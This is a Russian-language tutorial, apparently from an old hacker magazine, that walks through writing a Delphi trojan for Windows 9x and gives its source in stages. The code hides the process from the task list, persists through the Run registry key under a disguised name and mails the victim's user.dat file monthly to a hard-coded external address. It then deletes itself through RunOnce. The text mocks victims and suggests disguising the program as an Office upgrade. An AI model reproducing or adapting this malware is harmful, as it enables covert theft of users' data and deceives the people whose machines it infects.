Трояны, трояны, трояны... писать их на самом деле довольно просто, если, конечно, знать точно, что писать . Поэтому сначала нужно разработать концепцию, схему, план действий, по которому будет действовать троян и тот, кто им воспользуется . Напишем простенький троянчик, который при попадании на компьютер поселится в виде баггла (в шотландском народном фольклоре - это маленькое существо, помогающее человеку по дому, то есть что-то вроде нашего домового) и будет, например, каждый месяц исправно посылать емыльной почтой файл user.dat. (реализацию для %user%.pwl я оставляю на рассмотрение читателю - переделать/дописать будет несложно). Пусть, для определенности и нашего спокойствия, он тихо и незаметно удалится с машины несчастного LMD, скажем, через пару-тройку месяцев работы (то есть пары-тройки "рассылок почты") .
Писать я буду на Delphi, так как это практически самый простой и доступный язык для начинающего кодера. Да и для простого человека, имеющего достаточный опыт работы с компом, все здесь будет довольно прозрачно для понимания.
Схватки, бред, потеря сознания
Первым делом... нет, не самолеты . Первым делом прибить все окна свежесозданного (с помощью File|New Application) проекта в Delphi, включая главную форму. Проект прибивать не нужно . Чтобы поглядеть, что еще осталось, можно ткнуть "серым существом с длинным хвостом" в View|Project Source. Приблизительно это будет выглядеть так:
program Project1; uses Forms; {$R *.RES} begin Application.Initialize; Application.Run; end.
Все, что касается Application, можно удалить - троян должен вести себя тихо, а потому всякие всплывающие окна и кнопки в панели задач нам не нужны. Нужно удалить также и строчку {$R *.RES}, чтобы не тянуть с собой ненужные иконки и прочую лабуду, так усердно навешиваемую Дельфей. Forms тоже удаляем, поскольку форм у нас не осталось . Но (!) нужно будет подключить пару-тройку других модулей, которые действительно будут задействованы:
uses
Windows, // здесь описаны почти все документированные сообщения и
// библиотечные функции виндовза
Registry, // это модуль для работы с системным реестром
Mapi, // а это - чтобы отправлять и принимать сообщения по почте
// и не только. Но нас интересует только отправка
SysUtils; // вспомогательная библиотека - полезные функции для работы
// со строками и датой/временем.
Появилась головка
Прежде чем приступить собственно к созданию рассылки , нужно убедиться, что все будет происходить совершенно незаметно. Естественно, что мигание лампочек на панели модема не спрячешь, но в остальном все можно провернуть без шума и пыли. В панели задач троян не засветится, потому что у него нет главного окна и, соответственно, некуда переключать фокус. А вот по ctrl+alt+del, то есть в списке всех задач, он будет светиться - да еще как! Но эту проблему можно решить просто - достаточно прикинуться невинным скринсавером, чтобы виндовза не показывала его в этом списке. Для этого необходимо воспользоваться специальной функцией RegisterServiceProcess. К сожалению, эту функцию не описывают в стандартных модулях Delphi, поэтому придется описать ее самостоятельно и создать соответствующую процедуру вызова:
procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure Hide; assembler; asm push 1 push 0 call RegisterServiceProcess; end;
Вышел. Живой. Подал голос.
Представим себе, что троян уже на машине бедного несчастного (людям со слабой нервной системой дальше не читать) ламера. Первым делом он его запускает (а он, например, что-нибудь в ответ показывает или делает вид, что он - новый супер-пупер апгрейд к офису-2000) и... а дальше троян должен что-то предпринять, чтобы он запускался после каждой перезагрузки машины. Можно, конечно, добавить трояна в папку Автозагрузка, но это ж сразу в глаза бросится - и конечно, есть способ лучше! На наше счастье, программисты виндовзы спроектировали систему очень удобно с точки зрения троянописателей - в системном реестре существуют специальные разделы, посвященные спискам программ, которые должны запускать до старта основных модулей системы, после них и вместо них.
Воспользуемся объектом TRegistry для этих целей:
Reg:=TRegistry.Create; with Reg do begin if OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', True) then begin Str:=ReadString('ExplorerService'); if Str <> ParamStr(0) then WriteString('ExplorerService', ParamStr(0)); CloseKey; OpenKey('SOFTWAREmmuser', True); try if StrToDate(ReadString('DateResolve')) > Now then begin Send:=True; WriteString('DateResolve', DateToStr(Now+30)); end else Send:=False; if StrToDate(ReadString('DateExpiration')) <= Now then Xapakipi:=True else Xapakipi:=False; except WriteString('DateResolve', DateToStr(Now)); WriteString('DateExpiration', DateToStr(Now+121)); end; CloseKey; end;
Из листинга видно, что для запуска себя после рестарта виндовза достаточно прописать путь к себе, любимому, в HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun. В него прописываем ключ с произвольным именем и содержанием = "путь_к_трояну". Попутно в первый раз дописываем свои параметры DateResolve, чтобы в следующий раз знать, когда нужно отсылать файлы.
Кроме DateResolve запишем и DateExpiration - дату, после которой нужно будет просто вырубиться, прибив свою тушку перед этим. Но как это сделать, если виндовз не дает доступа (удалять и перезаписывать) к файлу, из которого запущен? Можно сильно извращаться с разными параметрами или создавать BATники, но в данном случае гораздо проще сделать так:
if Xapakipi then begin RootKey:=HKEY_LOCAL_MACHINE; OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRunOnce', True); WriteString('LMD', 'del "'+ParamStr(0)+'"'); Send:=False; end; end; Reg.Free;
То есть просто прописать удаление собственного файла в RunOnce - после выполнения строчка будет удалена системой автоматически. И все - юзер может даже и не узнать никогда, почему у него оказалось на пару-тройку часиков Инета меньше, чем положено.
Чтобы лишний раз не светиться (юзер умный нынче пошел ), можно быстренько закругляться, если ничего посылать не нужно:
if not Send then Exit;
Папаша, принимайте дитё!
Настала очередь и для отсылки user.dat. Первым делом его надо найти - я не шучу. Не у всех юзеров виндовза поставлена в C:WINDOWS. Некоторые выпендриваются и ставят ось, например, в какой-нибудь F:MUSTDIE). Но это уже непосредственно после того, как получим доступ к почтовым службам. Поэтому сначала определимся: есть ли доступ? Для этого служит функция из Win32API MAPILogon. Если все в порядке, она возвращает ноль. И тогда наступает время генерировать почтовое сообщение и аттачить к нему филе. Подробнее об этом можно почитать в любой книжке по Win32 API. Скажу лишь, что для создания сообщения требуется заполнить структуру MAPIMessage и соответствующие подструктуры MAPIRecipDesc (получатели) и MAPIFileDesc (аттачи). Как видно из исходника, адрес получателя указывается в lpRecips->lpszAddress.
repeat if MAPILogon(0, nil, nil, 0, 0, @Handle) = 0 then try ZeroMemory(@Msg, sizeof(Msg)); with Msg do begin lpszNoteText:='message delivery. notification system v.01 |'; lpszSubject:=nil; nRecipCount:=1; GetMem(lpRecips, sizeof(TMapiRecipDesc)); ZeroMemory(lpRecips, sizeof(TMapiRecipDesc)); with lpRecips^ do begin ulRecipClass:=MAPI_TO; lpszName:='Xakep'; lpszAddress:='SMTP:konung@ic.ru'; end; nFileCount:=1; GetMem(lpFiles, sizeof(TMapiFileDesc)); ZeroMemory(lpFiles, sizeof(TMapiFileDesc)); with lpFiles^ do begin GetMem(lpszPathName, 144); GetWindowsDirectory(lpszPathName, 144); StrCat(lpszPathName, 'user.dat'); nPosition:=StrLen(lpszNoteText)-4; end; MAPISendMail(Handle, 0, Msg, 0, 0); FreeMem(lpRecips, sizeof(TMapiRecipDesc)); FreeMem(lpFiles^.lpszPathName, 144); FreeMem(lpFiles, sizeof(TMapiFileDesc)); end; finally MAPILogoff(Handle, 0, 0, 0); Exit; end; Sleep(3*60*1000); until False;
Все. Осталось дожидаться пока юзер прилогинится к своему провайдеру и зайдет в Сеть. Sleep(3*60*1000) - ждем три минуты и потом пытаемся постучаться в дверь снова - не стоит перегружать компьютер ненужной работой, а то сразу станет заметно присутствие посторонних. После того как сообщение отослано, троян быстренько сворачивает свою бурную деятельность. В-) Только у нас всегда всё чётко.